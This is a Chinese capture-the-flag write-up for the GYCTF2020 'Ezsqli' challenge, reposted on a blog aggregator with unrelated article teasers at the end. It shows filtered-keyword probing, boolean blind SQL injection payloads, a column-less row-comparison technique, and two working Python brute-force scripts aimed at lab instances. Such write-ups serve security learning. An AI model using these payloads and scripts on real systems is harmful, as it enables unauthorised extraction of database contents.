[GYCTF2020]Ezsqli

文章目錄

    • 測試過濾
    • 找注入點
    • 布爾盲注
    • 無列名盲注
    • 總結

測試過濾

xor
for
distinct
information
handler
binary
floor
having
join
pg_sleep

bp測試出來禁用了這些。

找注入點

查詢回顯推斷
1Nu1L
abool(false)
1’bool(false)
1’#bool(false)不是單引號包裹
1"#bool(false)沒有引號包裹的數字型注入
2-1NU1L需要找到一個不一樣的回顯
2V&N存在不同回顯,找到注入點
2-(1=0)V&N可以布爾盲注

測試一下能不能聯合注入,發現使用union select會被過濾,是如何過濾的呢?
懷疑后端首先利用is_numeric()函數對用戶輸入進行類型校驗(判斷是否為純數字或數字開頭的字符串),如果不是就返回false,如果是再進一步過濾其中關鍵字。類似:

$input = $_GET['id']; // 假設注入點是id參數// 第一步:類型校驗(判斷是否為純數字或數字開頭的字符串)
if (!is_numeric($input)) {// 輸入不是數字格式(如純字母"union")echo "false";exit;
}// 第二步:關鍵字過濾(僅對數字格式的輸入進行檢測)
$keywords = ['union', 'select', 'where'];
foreach ($keywords as $kw) {if (stripos($input, $kw) !== false) {// 檢測到注入關鍵字(如"1union")echo "SQL Injection Checked";exit;}
}// 若都通過,則執行SQL查詢
$sql = "SELECT * FROM table WHERE id = $input"; // 數字型拼接,無引號'

因為當查詢"union"時回顯false,查詢"1union"時回顯SQL Injection Checked.
那爆破id=1§1§重新看一下過濾的關鍵字:

and
or
xor
if
sleep
union
for
order
by
benchmark
in
limit
distinct
information
insert
handler
binary
ord
updatexml
floor
having
into
join
outfile
load_file
pg_sleep
case

那這只能利用布爾盲注了。

布爾盲注

由于information被過濾,需要用到

mysql.innodb_table_stats
MySQL 數據庫系統中內置的 mysql 系統數據庫下的一張表,主要用于存儲
InnoDB 存儲引擎表的統計信息,其中有table_name字段。存放的并非是僅當前數據庫中的表信息。

爆破長度
select_len = select length(group_concat(table_name))from mysql.innodb_table_stats
2-( ({select_len})={n})
爆破字符
select = select group_concat(table_name)from mysql.innodb_table_stats
2-( ascii(substr(({select}), {i}, 1))={n} )
正確標志
Nu1L

發現2-((select length(group_concat(table_name))from mysql.innodb_table_stats)=12)仍然被禁
居然是mysql.innodb_table_stats(加入字典)
看了別人的解法,還可以用:

sys.x$schema_flattened_keys
用于展示數據庫中所有表的索引信息

改一下payload再試試,可以了。
套用之前寫的腳本如下:

import random
import time
import requests
from concurrent.futures import ThreadPoolExecutorurl = 'http://e576033a-5854-4f5e-870d-24ef646cba2f.node5.buuoj.cn:81/'
symbol = 'Nu1L'
# select = 'select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())'
# select = 'select(group_concat(column_name))from(information_schema.columns)where((table_name)=("F1naI1y"))'
select = 'select group_concat(table_name)from sys.x$schema_flattened_keys'
length = 0
result = [''] * 1000  # 使用列表存儲結果,避免線程安全問題def make_request(url, param):try:# r = requests.get(url, params=param, timeout=30)r = requests.post(url, data=param, timeout=30)r.raise_for_status()  # 檢查HTTP狀態碼return rexcept requests.exceptions.Timeout:print("[-] 請求超時,請檢查網絡連接或增加超時時間")except requests.exceptions.HTTPError as e:print(f"[-] HTTP錯誤: {e.response.status_code}")except requests.exceptions.RequestException as e:print(f"[-] 請求異常: {str(e)}")return Nonedef make_request_with_retry(url, param):global resultr = make_request(url, param)if not r:print("[-] 重試")time.sleep(random.randint(0, 50))r = make_request(url, param)if not r:return Nonereturn rdef get_length_with_BinarySearch():global lengthlow, high = 0, 500while low <= high:mid = (low + high) // 2param = {"id": f"2-(({select_len})>={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-]長度爆破失敗")if symbol in r.text:# 大于等于midparam = {"id": f"2-(({select_len})={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-]長度爆破失敗")if symbol in r.text:print(f"長度為{mid}")length = midbreakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1def get_char_at_position(i):global resultprint(f"[*] 開始注入位置{i}...")low, high = 31, 127while low <= high:mid = (low + high) // 2param = {"id": f"2-(ascii(substr(({select}), {i}, 1))>={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'breakif symbol in r.text:# 大于等于midparam = {"id": f"2-(ascii(substr(({select}), {i}, 1))={mid})"}r = make_request_with_retry(url, param)if not r:print(f"[-] 位置{i}未找到!!!!!!!!!!!")result[i - 1] = '?'breakif symbol in r.text:# 等于midresult[i - 1] = chr(mid)print(f"[*] 位置{i}字符為{chr(mid)}")breakelse:# 大于midlow = mid + 1else:# 小于midhigh = mid - 1# -----------------失敗位置重試
# position = {1,}
# for i in position:
#     get_char_at_position(i)# ------------------爆破長度# select_len = 'select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database())'
# select_len = 'select(length(group_concat(column_name)))from(information_schema.columns)where((table_name)=("F1naI1y"))'
select_len = 'select length(group_concat(table_name))from sys.x$schema_flattened_keys'get_length_with_BinarySearch()if length == 0:print("[-] length為0,請檢查錯誤")exit(0)# # ------------------單線程爆破,如果訪問限制特別嚴重的話,最好使用單線程,并且每次請求之間主動進行時間間隔,避免請求太多永遠在等待重試。
# for i in range(1, length+1):
#     get_char_at_position(i)# ------------------多線程爆破
with ThreadPoolExecutor(max_workers=10) as executor:futures = [executor.submit(get_char_at_position, i) for i in range(1, length + 1)]# 等待所有任務完成for future in futures:future.result()# 過濾空字符并拼接結果
final_result = ''.join(filter(None, result))
print("最終結果:", final_result)# 出錯的位置
positions = []
for index, char in enumerate(final_result):if char == '?':positions.append(index)
print("出錯位置:", positions)

結果:f1ag_1s_h3r3_hhhhh,users233333333333333

無列名盲注

常規思路接下來是需要爆破列名的,可是這里information用不了,那常規無列名盲注是利用union給每一列取別名,可是這里union也用不了。
看了別人的wp,這里用到一個巧妙的mysql中的比較語法。

直接舉個例子說明,假如user表中數據如下:

idusernamepassword
1admina

執行select( (2, 1, 'b') > (select * from user) )結果是1
這邊利用一個等同的sql語句進行測試:
在這里插入圖片描述
原因:因為比較過程是從左往右對相應位置上的數據進行比較直到出現不等(類似字符串的比較),而且字符串的比較規則包括:與數字比會進行轉換,與字符串比從左往右字符ascii碼比較。
但是如果行數或者列數不相等都會報錯:
在這里插入圖片描述

所以該方法的適用范圍一般是只有一行的表(當然也還有其他情況但是很少見)。

2-((1)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是bool(false) 。
2-((1,2)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是Nu1L

說明表中有一行兩列,猜測flag大概率在第2列,試試看:
2-((0.5,2)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是V&N

說明第一列肯定是以數字1開頭的。試試第二列:
2-((1,‘flag’)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是V&N
2-((1,‘flaz’)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是Nu1L

說明對了,接下來只需要爆破:

from time import sleep
import requestsurl = "http://ecd10bee-6427-4234-824d-a63d41f94878.node5.buuoj.cn:81/"
result = ''for i in range(1, 50):low = 31high = 128while low <= high:mid = (low + high) // 2flag = resultflag += chr(mid)data = {"id": f"2-((1,'{flag}')>(select * from f1ag_1s_h3r3_hhhhh))"}r = requests.post(url, data=data)if r.status_code == 200:if "Nu1L" in r.text:high = mid - 1else:low = mid + 1else:print("請求過多")i -= 1if high == 31:  # 說明此時已經爆破結束了exit(0)sleep(1)result += chr(high)  # 為什么是high可以舉例推演一下print(result)print(result)

結果爆破出來是 FLAG{40DB05DD-C4DC-479B-AB67-979C738051D2}
出現兩個問題:根據手動測試2-((1,‘flag’)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是V&N,但是爆破出來的結果是FLAG開頭,大寫字母的ascii碼值是小于小寫字母的,如果按照上面的比較規則,結果應該是Nu1L。所以一定是哪里出錯了。
提交flag也未能通過,通常來說應該是flag開頭。那感覺是比較規則有問題。測試一下是不是大小寫不敏感呢:
2-((1,‘FLAG’)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是V&N
2-((1,‘FLAZ’)>(select * from f1ag_1s_h3r3_hhhhh)) 結果是Nu1L
果然,大小寫結果是一樣的。難道這是mysql的屬性?本地測試一下:
在這里插入圖片描述
在這里插入圖片描述
果然是這樣,大小寫字母進行比較時并不是單純比較ascii碼,而是不區分大小寫的比較方式。那怎么將其變成大小寫敏感的比較呢?
在這里插入圖片描述
本地測試發現BINARY是可以的,題目中試試:
2-((1,BINARY ‘FLAZ’)>(select BINARY * from f1ag_1s_h3r3_hhhhh)) 居然將BINARY過濾了

SELECT ((1, _utf8mb4’FLAZ’ COLLATE utf8mb4_bin)>(SELECT 1, _utf8mb4’flag{}’ COLLATE utf8mb4_bin))
使用該語法強制指定了字符集和排序規則,結果是0符合預期,題目中試試:
SELECT ((1, _utf8mb4’FLAZ’ COLLATE utf8mb4_bin)>(SELECT _utf8mb4 * COLLATE utf8mb4_bin from f1ag_1s_h3r3_hhhhh))
居然把bin給過濾了。

我沒有任何辦法了。直接將爆破出來的flag大寫改小寫吧。

總結

這道題用到了無列名盲注的比較方法繞過傳統無列名盲注需要的union關鍵字,但是適用條件較嚴格。而且這種字符串比較的語法根據Mysql的默認配置是大小寫不敏感的,這道題又將很多關鍵字禁用了,我暫時沒有辦法找到精準的解法。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/95539.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/95539.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/95539.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Agno 多 Agent 協作框架 - 手把手從零開始教程

本教程將帶你從零開始&#xff0c;一步步構建一個完整的多 Agent 協作系統。每一步都有詳細的代碼示例和解釋&#xff0c;讓你真正理解 Agno 框架的工作原理。第一步&#xff1a;創建你的第一個 Agent 讓我們從最簡單的開始 - 創建一個能回答問題的 Agent。 1.1 創建基礎文件 首…

數據庫查詢優化

這篇文章適合剛剛入手項目的小伙伴&#xff0c;為大家如何提高數據庫查詢效率提供一些建議。1.添加索引1.1 索引是什么對于索引基礎薄弱的同學&#xff0c;我們可以從 “索引是什么” 簡單類比&#xff1a;索引就像書籍的目錄&#xff0c;能幫數據庫快速定位到需要的數據&#…

安徽大學概率論期末試卷及答案解析

本文還有配套的精品資源&#xff0c;點擊獲取 簡介&#xff1a;安徽大學的概率論課程圍繞隨機現象的規律性&#xff0c;覆蓋了多個核心概念&#xff0c;如隨機事件的概率、條件概率、獨立事件、概率分布、期望值、方差、大數定律和中心極限定理。本資源包含期末試卷及答案&a…

HarmonyOS應用開發之界面列表不刷新問題Bug排查記:從現象到解決完整記錄

Bug排查在軟件開發過程中扮演著至關重要的角色&#xff0c;本文采用日記形式記錄了Bug排查的全過程&#xff0c;通過這種方式可以更加真實、詳細地記錄問題&#xff0c;便于后續追溯和經驗沉淀。 Bug背景 在使用HarmonyOS的ArkUI框架開發一個卡片管理應用時&#xff0c;遇到了…

FastVLM-0.5B 模型解析

模型介紹 FastVLM&#xff08;Fast Vision-Language Model&#xff09;是蘋果團隊于2025年在CVPR會議上提出的高效視覺語言模型&#xff0c;專為移動設備&#xff08;如iPhone、iPad、Mac&#xff09;優化&#xff0c;核心創新在于通過全新設計的 FastViTHD混合視覺編碼器 解決…

集成學習 | MATLAB基于CNN-LSTM-Adaboost多輸入單輸出回歸預測

集成學習 | MATLAB基于CNN-LSTM-Adaboost多輸入單輸出回歸預測 一、主要功能 該代碼使用 CNN 提取特征,LSTM 捕捉時序依賴,并通過 AdaBoost 集成多個弱學習器(每個弱學習器是一個 CNN-LSTM 網絡),最終組合成一個強預測器,用于回歸預測任務。代碼完成了從數據預處理、模型…

關于Homebrew:Mac快速安裝Homebrew

關于macOS 安裝HomebrewHomebrewHomebrew介紹Homebrew 官網地址Homebrew 能安裝什么&#xff1f;Mac上安裝Homebrew主要步驟&#xff1a;打開終端&#xff0c;執行官網安裝腳本注意遇到問題①&#xff1a;腳本在克隆 Homebrew 核心倉庫時&#xff0c;??無法連接 GitHub??&a…

【前端】使用Vercel部署前端項目,api轉發到后端服務器

文章目錄Vercel是什么概要Vercel部署分為兩種方案&#xff1a;一、使用GitHub構建部署二、通過 Vercel CLI 上傳本地構建資源注意事項轉發API到后端小結Vercel是什么 Vercel是一款專為前端開發者打造的云部署平臺&#xff0c;它支持一鍵部署靜態網站、AI工具和現代Web應用。Ve…

滾珠導軌在工業制造領域如何實現高效運行?

在工業制造領域中滾珠導軌憑借其高精度、低摩擦、高剛性等特點&#xff0c;被廣泛應用于多種設備和場景&#xff0c;并在設備性能中起著關鍵作用&#xff0c;以下是具體應用&#xff1a;加工中心&#xff1a;滾珠導軌用于加工中心的工作臺和主軸箱等部件的移動&#xff0c;能保…

大基座模型與 Scaling Law:AI 時代的邏輯與困境

一、背景&#xff1a;為什么大模型一定要“做大”&#xff1f; 在人工智能的發展歷程中&#xff0c;有一個不容忽視的“鐵律”&#xff1a;更大的模型往往意味著更強的性能。從 GPT-2 到 GPT-4&#xff0c;從 BERT 到 PaLM&#xff0c;從 LLaMA 到 Claude&#xff0c;每一代的…

內網的應用系統間通信需要HTTPS嗎

內網是否需要 HTTPS&#xff1f; 雖然內網通常被視為“相對安全”的環境&#xff0c;但仍需根據具體情況決定是否使用 HTTPS&#xff0c;原因如下&#xff1a; 內部威脅風險 ● 內網可能面臨內部人員攻擊、橫向滲透&#xff08;如黑客突破邊界后在內網掃描&#xff09;、設備…

6.ImGui-顏色(色板)

免責聲明&#xff1a;內容僅供學習參考&#xff0c;請合法利用知識&#xff0c;禁止進行違法犯罪活動&#xff01; 本次游戲沒法給 內容參考于&#xff1a;微塵網絡安全 上一個內容&#xff1a;5.ImGui-按鈕 IMGui中表示顏色的的結構體 ImVec4和ImU32&#xff0c;如下圖紅框…

【C++】Vector完全指南:動態數組高效使用

0. 官方文檔 vector 1. vector介紹 Vector 簡單來說就是順序表&#xff0c;是一個可以動態增長的數組。 vector是表示可變大小數組的序列容器。 就像數組一樣&#xff0c;vector也采用的連續存儲空間來存儲元素。也就是意味著可以采用下標對vector的元素進行訪問&#xff0c…

關于無法導入父路徑的問題

問題重現 有下面的代碼&#xff1a; from ..utils import Config,set_DATA_PATH DATA_PATH set_DATA_PATH()報錯如下&#xff1a;from ..utils import Config,set_DATA_PATH ImportError: attempted relative import beyond top-level package解決方案 #獲取當前腳本所在目錄的…

C/C++包管理工具:Conan

Conan是一個專為C/C設計的開源、去中心化、跨平臺的包管理器&#xff0c;致力于簡化依賴管理和二進制分發流程。Conan基于Python進行開發&#xff0c;支持與主流的構建系統集成&#xff0c;提供了強大的跨平臺和交叉編譯能力。通過Conan&#xff0c;開發者可以高效的創建、共享…

核心高并發復雜接口重構方案

核心高并發復雜接口重構方案 一、重構目標與原則 核心目標 提升接口性能:降低響應時間,提高吞吐量,降低資源使用 增強可維護性:拆解復雜邏輯,模塊化設計,降低后續迭代成本 保障穩定性:通過架構優化和灰度策略,確保重構過程無服務中斷 提升擴展性:設計靈活的擴展點,…

C++容器內存布局與性能優化指南

C容器的內存布局和緩存友好性對程序性能有決定性影響。理解這些底層機制&#xff0c;能幫你寫出更高效的代碼。 一、容器內存布局概述 不同容器在內存中的組織方式差異顯著&#xff0c;這直接影響了它們的訪問效率和適用場景。容器類型內存布局特點元數據位置元素存儲位置std::…

Beautiful.ai:AI輔助PPT工具高效搞定排版,告別熬夜做匯報煩惱

你是不是每次做 PPT 都頭大&#xff1f;找模板、調排版、湊內容&#xff0c;熬大半夜出來的東西還沒眼看&#xff1f;尤其是遇到 “明天就要交匯報” 的緊急情況&#xff0c;打開 PPT 軟件半天&#xff0c;光標在空白頁上晃來晃去&#xff0c;連標題都想不出來 —— 這種抓瞎的…

阿里云攜手MiniMax構建云原生數倉最佳實踐:大模型時代的 Data + AI 數據處理平臺

MiniMax簡介MiniMax是全球領先的通用人工智能科技公司。自2022年初成立以來&#xff0c;MiniMax以“與所有人共創智能”為使命&#xff0c;致力于推動人工智能科技前沿發展&#xff0c;實現通用人工智能(AGI&#xff09;。MiniMax自主研發了一系列多模態通用大模型&#xff0c;…

一鍵生成PPT的AI工具排名:2025年能讀懂你思路的AI演示工具

人工智能正在重塑PPT制作方式&#xff0c;讓專業演示變得觸手可及。隨著人工智能技術的飛速發展&#xff0c;AI生成PPT工具已成為職場人士、學生和創作者提升效率的得力助手。這些工具通過智能算法&#xff0c;能夠快速將文本、數據或創意轉化為結構化、視覺化的演示文稿&#…